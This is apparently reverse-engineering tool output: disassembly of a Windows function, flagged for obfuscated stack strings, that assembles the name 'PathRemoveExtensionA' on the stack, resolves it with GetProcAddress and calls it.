mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop rbp
ret

Function at 0x1400068b8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x1400b7088]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, rcx
call fcn.140006500
mov rbx, rax
test rax, rax
je 0x14000693b
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x68746150
mov rcx, rax
mov word [rbp - 0x1c], 0x6552
mov word [rbp - 0x12], 0x736e
mov dword [rbp - 0x17], 0x74784565
mov dword [rbp - 0x10], 0x416e6f69
mov word [rbp - 0x19], 0x766f
mov byte [rbp - 0xc], 0
mov byte [rbp - 0x13], 0x65
mov byte [rbp - 0x1a], 0x6d
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140006932
mov rcx, rdi
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140058060
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop rbp
ret